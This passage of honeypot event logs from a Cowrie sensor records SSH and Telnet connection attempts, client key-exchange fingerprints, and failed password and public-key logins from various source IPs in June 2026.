cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:13.279185Z","src_ip":"43.166.242.149","session":"4107095f4373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vertigo","password":"vertigo","message":"login attempt [vertigo/vertigo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:13.568088Z","src_ip":"43.166.242.149","session":"4107095f4373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:14.581705Z","src_ip":"43.166.242.149","session":"4107095f4373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.04840064048767,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:26.432647Z","src_ip":"128.199.8.54","session":"c3480f348468","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38938,"dst_ip":"10.17.0.5","dst_port":22,"session":"287549ea4a95","protocol":"ssh","message":"New connection: 194.113.233.25:38938 (10.17.0.5:22) [session: 287549ea4a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:31.427790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:31.434406Z","src_ip":"194.113.233.25","session":"287549ea4a95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:31.528291Z","src_ip":"194.113.233.25","session":"287549ea4a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230592","message":"login attempt [root/230592] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:31.810283Z","src_ip":"194.113.233.25","session":"287549ea4a95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35762,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dd4038b6be0","protocol":"telnet","message":"New connection: 172.81.62.90:35762 (159.203.135.109:23) [session: 3dd4038b6be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:32.131925Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:32.905972Z","src_ip":"194.113.233.25","session":"287549ea4a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.272618770599365,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:40.412107Z","src_ip":"128.199.8.54","session":"f1c35815a713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.50687789916992,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:40.609407Z","src_ip":"128.199.8.54","session":"205af5dc0e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":2146,"dst_ip":"159.203.135.109","dst_port":22,"session":"a49d5529e937","protocol":"ssh","message":"New connection: 178.20.210.208:2146 (159.203.135.109:22) [session: a49d5529e937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:42.964885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:42.968496Z","src_ip":"178.20.210.208","session":"a49d5529e937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:43.070962Z","src_ip":"178.20.210.208","session":"a49d5529e937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"system","message":"login attempt [admin/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:43.474887Z","src_ip":"178.20.210.208","session":"a49d5529e937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.5847384929657,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:44.199019Z","src_ip":"172.81.62.90","session":"976f419e8c2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:44.580827Z","src_ip":"178.20.210.208","session":"a49d5529e937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44764,"dst_ip":"159.203.135.109","dst_port":23,"session":"21ae8173a126","protocol":"telnet","message":"New connection: 172.81.62.90:44764 (159.203.135.109:23) [session: 21ae8173a126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:58.668078Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44778,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e3792f6bed9","protocol":"telnet","message":"New connection: 172.81.62.90:44778 (159.203.135.109:23) [session: 9e3792f6bed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:00.702155Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.190.153","src_port":49456,"dst_ip":"10.17.0.5","dst_port":22,"session":"055ca887289c","protocol":"ssh","message":"New connection: 148.113.190.153:49456 (10.17.0.5:22) [session: 055ca887289c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.507938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.513025Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.533127Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:6f:cb:b4:fb:11:07:c4:ea:9a:85:35:1e:1a:1c:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNJFJxNs6bwKaDUMFKZsEIWEINq09s1kcT5Rf7pUXhIH/Ys0aJv8fCBZdWBy7YQBAWtNN8CNSpH8sUeEJpX7YCK160WVdSjjd0AglF0YPM65gocAcjXkcPBfHgMRl3DtYZ8apebg0CXlgPbXYRYJCTvQgaSGJXxpDDA9bl7NTGQBFDV6Xl/7FDEszXblYz79ZD2O9tGzrBoZISwY0kcamCtnmrX1OznFzTUOg0p3Xl6O2RwiZkD2eeZBIk51JgpeLGi3qIwzQJtYxesKeYwMviuk/LXDa3JmReVVckcrIcASY9K23bVa2D7HXHO+x73Xc/oUY+GnXOjRqkQsII2mWF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:6f:cb:b4:fb:11:07:c4:ea:9a:85:35:1e:1a:1c:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.616549Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:6f:cb:b4:fb:11:07:c4:ea:9a:85:35:1e:1a:1c:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNJFJxNs6bwKaDUMFKZsEIWEINq09s1kcT5Rf7pUXhIH/Ys0aJv8fCBZdWBy7YQBAWtNN8CNSpH8sUeEJpX7YCK160WVdSjjd0AglF0YPM65gocAcjXkcPBfHgMRl3DtYZ8apebg0CXlgPbXYRYJCTvQgaSGJXxpDDA9bl7NTGQBFDV6Xl/7FDEszXblYz79ZD2O9tGzrBoZISwY0kcamCtnmrX1OznFzTUOg0p3Xl6O2RwiZkD2eeZBIk51JgpeLGi3qIwzQJtYxesKeYwMviuk/LXDa3JmReVVckcrIcASY9K23bVa2D7HXHO+x73Xc/oUY+GnXOjRqkQsII2mWF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.619771Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:29:e1:85:7e:04:17:c6:52:77:eb:e7:87:b7:94:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJyAGnrIf8d/XKcREaopTVtBHCM9jFccFzv7O+I2CfvMyhOj9iK03vHder22Ao4Zath0ajblrWGij0XKplXzl5gEWiGbJGnU07pgWFa7ANWGHX315HZt6y9TKDVkx3R9sO/N+UPQv9QH0OarapFUbfoNEuvdUGlO5y1OUoPmC9xspS75vKBQrDB3/f6utRRHMSqwBtx58ZJ5/HeHrKcFFu/jf/YP4EF8ixqUrtMiLVlLaZcjxBKmGK4Qt+XGcet9GS2mTHFnN2ax3clQIhMmoHfYhEikbDfr+c5jbPupUHbshzaKiYgAtV8uj2kc8+D/F0mVDTgyy7UqWGDjUFzpQd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:29:e1:85:7e:04:17:c6:52:77:eb:e7:87:b7:94:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.643659Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:29:e1:85:7e:04:17:c6:52:77:eb:e7:87:b7:94:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJyAGnrIf8d/XKcREaopTVtBHCM9jFccFzv7O+I2CfvMyhOj9iK03vHder22Ao4Zath0ajblrWGij0XKplXzl5gEWiGbJGnU07pgWFa7ANWGHX315HZt6y9TKDVkx3R9sO/N+UPQv9QH0OarapFUbfoNEuvdUGlO5y1OUoPmC9xspS75vKBQrDB3/f6utRRHMSqwBtx58ZJ5/HeHrKcFFu/jf/YP4EF8ixqUrtMiLVlLaZcjxBKmGK4Qt+XGcet9GS2mTHFnN2ax3clQIhMmoHfYhEikbDfr+c5jbPupUHbshzaKiYgAtV8uj2kc8+D/F0mVDTgyy7UqWGDjUFzpQd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.647192Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:bc:40:38:69:0e:eb:5e:7d:87:cc:ae:69:f9:98:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxnHXwh7b0BCim5Mph9MKR7GGgGCuhmuMs0rVXx8oFYzOcAAO2MSi9rrQhlOTxw7azCjSIKki1cAPtOs1hbNfpGRpMtnzrwqNudRI5fodnvYoBU1nQtkk1FUxsMIm5pJtPCozyWKkxNA5mOFBO4GJ6jB/5FVDhHzBaA6eyCTLsV4Ij5JHPfD7Vu5eQuzeJxiMU1cDSfjikOfDwtRtt65gho0GDrmZnPpZaIwnVwca2pE441wtMJVv/ln2Hk+kQSvR1yXhCMZF2LzflH91m9mZ9+79XW67bInWkSpaXm56HHQwpOECYhvCdyO7PVKwJCsAg6VmsquqaVnbYzW1fPOUl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:bc:40:38:69:0e:eb:5e:7d:87:cc:ae:69:f9:98:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.689226Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:bc:40:38:69:0e:eb:5e:7d:87:cc:ae:69:f9:98:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxnHXwh7b0BCim5Mph9MKR7GGgGCuhmuMs0rVXx8oFYzOcAAO2MSi9rrQhlOTxw7azCjSIKki1cAPtOs1hbNfpGRpMtnzrwqNudRI5fodnvYoBU1nQtkk1FUxsMIm5pJtPCozyWKkxNA5mOFBO4GJ6jB/5FVDhHzBaA6eyCTLsV4Ij5JHPfD7Vu5eQuzeJxiMU1cDSfjikOfDwtRtt65gho0GDrmZnPpZaIwnVwca2pE441wtMJVv/ln2Hk+kQSvR1yXhCMZF2LzflH91m9mZ9+79XW67bInWkSpaXm56HHQwpOECYhvCdyO7PVKwJCsAg6VmsquqaVnbYzW1fPOUl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.692644Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:04:09:62:6f:0e:67:e2:ac:75:73:d7:7b:a4:fd:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDTRRnE5x1EiZj+UDS0v69nlt8p9ZhZBzNGr+GfNKrXzj2InmL2j/YB9Y8b+BWDn3nFBTR68VbOob7h6RlxSPWnitTCS3b3iuw76zN0zS8KwBjZvjgyStgBs6SSVd+Y/+DJkMV64XBTPJ4AC+VNucW1DIaQdw9P4PZaVVtEO3y/Is9mR21RHzbtvnTe7zEDOJZOef0NSX3K6IFe0h5tjBV0awL9sDhZCBMh02cyJZh0Bz2FsVu33SW0SWB6xGLopembQ9mwLwEkeHaIws2uS0+M3gGVK08wiRsw+Wktoh1ok0+oid19mf3ckUJm/yyxokePQuH3jXzoEApMZ898zxP+lG0+X7usSK2UTkrm/vLImpUcJLZ4pHv9JaWQQZltb+KqQC3IOEFofH7H+83B8BRiZ45pmdn+KexTSG1uSf0c6+F8HQNK84+4tqMWPgDaV6UyrkizLv0wjr/IbXP7RybEvMmrItUbeJ//rE2zxffgIlxuih2qZMTWGkOG7owI0ODwGNAziB6RpvcAPMEl1yrTE0Kr0MaJHFCsyXT1Jw3Bp5IqWA9wQd6GLjVprl6rvNna2Ah2GQ1B2Ddbw76TZjy3tOAOxGQXPeCGMfCEqbKwNIxuuUQu+0VMCAWAgNx4yCe8YE2BPP+v2YHZcENQZ9IsiGe6ziRS76LdQylU4O9/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:04:09:62:6f:0e:67:e2:ac:75:73:d7:7b:a4:fd:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.731520Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:04:09:62:6f:0e:67:e2:ac:75:73:d7:7b:a4:fd:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDTRRnE5x1EiZj+UDS0v69nlt8p9ZhZBzNGr+GfNKrXzj2InmL2j/YB9Y8b+BWDn3nFBTR68VbOob7h6RlxSPWnitTCS3b3iuw76zN0zS8KwBjZvjgyStgBs6SSVd+Y/+DJkMV64XBTPJ4AC+VNucW1DIaQdw9P4PZaVVtEO3y/Is9mR21RHzbtvnTe7zEDOJZOef0NSX3K6IFe0h5tjBV0awL9sDhZCBMh02cyJZh0Bz2FsVu33SW0SWB6xGLopembQ9mwLwEkeHaIws2uS0+M3gGVK08wiRsw+Wktoh1ok0+oid19mf3ckUJm/yyxokePQuH3jXzoEApMZ898zxP+lG0+X7usSK2UTkrm/vLImpUcJLZ4pHv9JaWQQZltb+KqQC3IOEFofH7H+83B8BRiZ45pmdn+KexTSG1uSf0c6+F8HQNK84+4tqMWPgDaV6UyrkizLv0wjr/IbXP7RybEvMmrItUbeJ//rE2zxffgIlxuih2qZMTWGkOG7owI0ODwGNAziB6RpvcAPMEl1yrTE0Kr0MaJHFCsyXT1Jw3Bp5IqWA9wQd6GLjVprl6rvNna2Ah2GQ1B2Ddbw76TZjy3tOAOxGQXPeCGMfCEqbKwNIxuuUQu+0VMCAWAgNx4yCe8YE2BPP+v2YHZcENQZ9IsiGe6ziRS76LdQylU4O9/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.736007Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:af:a6:9e:c8:1a:f5:c1:19:fa:9d:54:13:5d:f3:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAkp3LWrXy77tdRaBgdzspo0gjeeTZtMByjzsvZjrnB+n9E6+3wr7QrxuvD5HtrV8QTaZPv2p2W4ys8ivCI1pATC2MX9p/jg5m5b8YJB0u4uKXuaB65wnh7X0NIjvjp/ZHWdxFSUQ+CNIZDcpkvcZyOpstRYWC5qTyvAcfspR8BBy3YsTYAxAnnIf3VlJzCfvPNGGu/BDSecbNCUX4EpB2LJ/xrDnkaUXtfB7Hzb4kXaeYcKkGg7kzwGxefdQhBlI0T8PvuGgnnYIQHoPkIAF6JDHuIORubFMPsWiOfDVg3aIak8Dtt2DhIAFNdo6q6D48AnEJneqvewLGjKgpOMT/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:af:a6:9e:c8:1a:f5:c1:19:fa:9d:54:13:5d:f3:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.767026Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:af:a6:9e:c8:1a:f5:c1:19:fa:9d:54:13:5d:f3:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAkp3LWrXy77tdRaBgdzspo0gjeeTZtMByjzsvZjrnB+n9E6+3wr7QrxuvD5HtrV8QTaZPv2p2W4ys8ivCI1pATC2MX9p/jg5m5b8YJB0u4uKXuaB65wnh7X0NIjvjp/ZHWdxFSUQ+CNIZDcpkvcZyOpstRYWC5qTyvAcfspR8BBy3YsTYAxAnnIf3VlJzCfvPNGGu/BDSecbNCUX4EpB2LJ/xrDnkaUXtfB7Hzb4kXaeYcKkGg7kzwGxefdQhBlI0T8PvuGgnnYIQHoPkIAF6JDHuIORubFMPsWiOfDVg3aIak8Dtt2DhIAFNdo6q6D48AnEJneqvewLGjKgpOMT/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.774779Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:02.852542Z","src_ip":"148.113.190.153","session":"055ca887289c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.874412059783936,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:07.006252Z","src_ip":"172.81.62.90","session":"3dd4038b6be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.227.227.84","src_port":43677,"dst_ip":"10.17.0.5","dst_port":23,"session":"f90087e9b664","protocol":"telnet","message":"New connection: 99.227.227.84:43677 (10.17.0.5:23) [session: f90087e9b664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:19.016487Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41906,"dst_ip":"159.203.135.109","dst_port":23,"session":"b28a4d86ceed","protocol":"telnet","message":"New connection: 172.81.62.90:41906 (159.203.135.109:23) [session: b28a4d86ceed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:23.473824Z"}
{"eventid":"cowrie.session.closed","duration":32.719685554504395,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:33.421706Z","src_ip":"172.81.62.90","session":"9e3792f6bed9","protocol":"telnet"}
